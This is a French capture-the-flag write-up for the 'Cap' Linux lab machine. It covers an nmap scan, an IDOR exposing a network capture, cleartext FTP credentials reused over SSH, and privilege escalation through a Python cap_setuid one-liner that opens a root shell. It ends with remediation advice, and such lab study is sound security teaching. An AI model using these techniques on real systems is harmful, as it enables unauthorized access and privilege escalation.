Passer au contenu

Cap

OSDifficultyTarget
LinuxEASY10.129.45.142

Résumé

  1. Reconnaissance : 3 ports ouverts (FTP, SSH, HTTP)
  2. IDOR : Accès aux captures réseau d’autres utilisateurs via /data/0
  3. Identifiants : Extraction d’identifiants FTP en clair dans un fichier PCAP
  4. Mouvement latéral : Réutilisation des identifiants sur SSH
  5. Elévation de privilèges : Exploitation de capabilities Python (cap_setuid)

Reconnaissance

Nmap scan

Fenêtre du terminal
nmap -sC -sV -T4 10.129.45.142
Fenêtre du terminal
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1
80/tcp open http gunicorn

3 ports ouverts : FTP (21), SSH (22), HTTP (80)

Enumération web

En naviguant sur le site web, on découvre une application de “Security Dashboard” permettant de créer des “Security Snapshots” (captures réseau).

L’URL après un scan : http://10.129.45.142/data/1


Exploitation

IDOR (Insecure Direct Object Reference)

En modifiant l’ID dans l’URL, on peut accéder aux captures d’autres utilisateurs :

http://10.129.45.142/data/0 ← Intéressant !
http://10.129.45.142/data/1
http://10.129.45.142/data/2

Le fichier /data/0 contient une capture PCAP avec des données sensibles.

Analyse PCAP

Téléchargement et analyse avec Wireshark :

Fenêtre du terminal
# Filtre pour voir les identifiants FTP
ftp.request.command == "USER" || ftp.request.command == "PASS"

Ou via Follow TCP Stream sur le trafic FTP.

Identifiants trouvés :

USER nathan
PASS **REDACTED**

Accès initial (SSH)

Les identifiants FTP fonctionnent également sur SSH :

Fenêtre du terminal
# Password: **REDACTED**

User flag

Fenêtre du terminal
nathan@cap:~$ cat user.txt
[FLAG]

Elévation de privilèges

Enumération

Recherche de binaires avec des capabilities spéciales :

Fenêtre du terminal
getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_setgid+ep

Python3.8 a la capability cap_setuid → On peut changer notre UID pour devenir root.

Exploitation

Fenêtre du terminal
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Fenêtre du terminal
root@cap:~# whoami
root
root@cap:~# cat /root/root.txt
[FLAG]

A retenir

VulnérabilitéDescriptionRemédiation
IDORAccès aux ressources d’autres utilisateurs via manipulation d’IDImplémenter des contrôles d’autorisation côté serveur
Identifiants en clairIdentifiants FTP transmis en clairUtiliser SFTP ou FTPS
Réutilisation de mot de passeMême mot de passe pour FTP et SSHUtiliser des mots de passe uniques par service
Capabilities dangereusesPython avec cap_setuidAuditer les capabilities avec getcap -r /

Outils utilisés

  • nmap
  • Wireshark
  • SSH

Références